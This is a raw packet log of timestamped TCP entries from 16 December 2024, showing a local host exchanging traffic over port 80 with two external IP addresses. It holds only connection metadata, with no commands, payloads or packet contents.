Dec 16, 2024 17:02:26.659451962 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.659482002 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.659506083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.659754038 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.660285950 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.660442114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.660526037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.660542011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.660579920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.660610914 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.660960913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.661348104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.661362886 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.661395073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.661415100 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.661505938 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.661520004 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.661565065 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.662049055 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.662097931 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.662122965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.662137985 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.662168026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.662180901 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.662545919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.662844896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.663012981 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.663058043 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.663141966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.663157940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.663184881 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.663197041 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.663589954 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664288044 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664340973 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.664364100 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664378881 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664413929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.664438009 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.664854050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664869070 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664884090 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.664920092 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.664952040 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.665265083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.665281057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.665335894 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.665654898 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.665704966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.665770054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.665785074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.665819883 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.665884972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.666064978 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.666656971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.666722059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.698946953 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:26.819634914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:26.820885897 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:26.823426962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:26.836307049 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.836374044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.836446047 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.836462021 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.836498022 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.836520910 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.836913109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.836930037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.836945057 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.836975098 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.836987972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.837151051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837166071 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837179899 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837193966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837208033 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.837209940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837249994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.837627888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837673903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.837819099 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837835073 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.837877989 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.838166952 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.838222027 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.838308096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.838323116 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.838366985 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.838712931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.838860035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.838906050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.838953972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.839056969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.839072943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.839114904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.839127064 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.839366913 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.839411974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.839807034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.839828968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.839869976 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.839988947 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.840012074 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.840055943 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.840646029 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.840691090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.840778112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.840794086 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.840822935 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.840837955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.841181993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.841233015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.841624975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.841670990 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.841753960 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.841769934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.841810942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.842355967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.842449903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.842585087 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.842741966 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.842756033 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.842786074 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.842813015 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.843091011 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.843167067 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.843346119 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.843389034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.843492031 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.843507051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.843532085 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.843549967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.843856096 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.843909025 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.844424963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.844505072 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.844520092 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.844537020 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.844562054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.844575882 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.844979048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.845024109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.845134974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.845149040 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.845195055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.845479012 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.845494032 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.845531940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.846023083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.846071005 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.846158028 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.846174002 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.846218109 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.846678972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.846800089 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.847217083 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.847270966 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.847420931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.847435951 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.847472906 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.847502947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.848009109 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.848052979 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.848634005 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.848685026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.848855972 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.848870993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.848886013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.848902941 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.848916054 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.848946095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.849625111 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.849678993 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.849746943 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.849785089 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.849814892 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.849832058 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.850229979 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.850244045 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.850260019 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.850297928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.850317955 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.850490093 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.850506067 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.850549936 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.851031065 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851046085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851059914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851077080 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.851098061 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.851284027 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851340055 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.851763010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851819992 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.851870060 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851886034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.851929903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.852268934 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.852314949 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.852577925 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.852622032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.852751970 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.852766991 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.852796078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.852817059 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.853310108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.853363991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.853776932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.853955984 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.853987932 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.854003906 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.854028940 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.854043961 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.854304075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.854350090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.854722977 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.854767084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.854820013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.854834080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.854866028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.854907036 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.855076075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.855123997 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.855417013 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.855531931 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.855539083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.855547905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.855571032 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.855592012 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.855736971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.855784893 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.856064081 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.856081009 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.856115103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.856127977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.856230974 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.856245995 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.856278896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.856302977 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857032061 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857048035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857062101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857089996 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857101917 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857237101 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857249975 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857290983 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857594967 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857609034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857645035 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857670069 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857825994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857841969 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.857865095 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.857877970 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.858864069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:26.858922958 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:26.943690062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:27.028448105 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.028501034 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.028589010 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.028603077 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.028625965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.028645039 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.029041052 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.029067039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.029084921 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.029104948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.029145956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.029777050 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.029970884 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.029985905 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.030008078 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.030031919 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.030610085 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.030807018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.030822039 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.030833006 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.030848026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.030863047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.031445026 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.031481028 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.032363892 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.032419920 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.032980919 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.033024073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.033128023 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.033170938 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.033435106 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.033449888 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.033467054 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.033477068 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.033490896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.033510923 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.034785986 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.034831047 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.034997940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.035013914 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.035037994 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.035056114 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.035912037 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.035953999 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.036673069 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.036689043 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.036741972 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.036773920 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.036789894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.036813974 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.036840916 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.037127018 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037208080 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037223101 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037247896 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.037272930 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.037439108 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037759066 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037801981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.037859917 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037875891 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.037902117 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.037926912 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.037992001 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.038249016 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.038289070 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.038322926 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.038338900 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.038362026 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.038382053 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.038620949 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.038954973 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.038995981 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.039010048 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.039025068 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.039047956 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.039076090 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.039261103 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.039582014 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.039624929 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:27.039741993 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:27.039757967 CET	80	49712	31.41.244.11	192.168.2.8
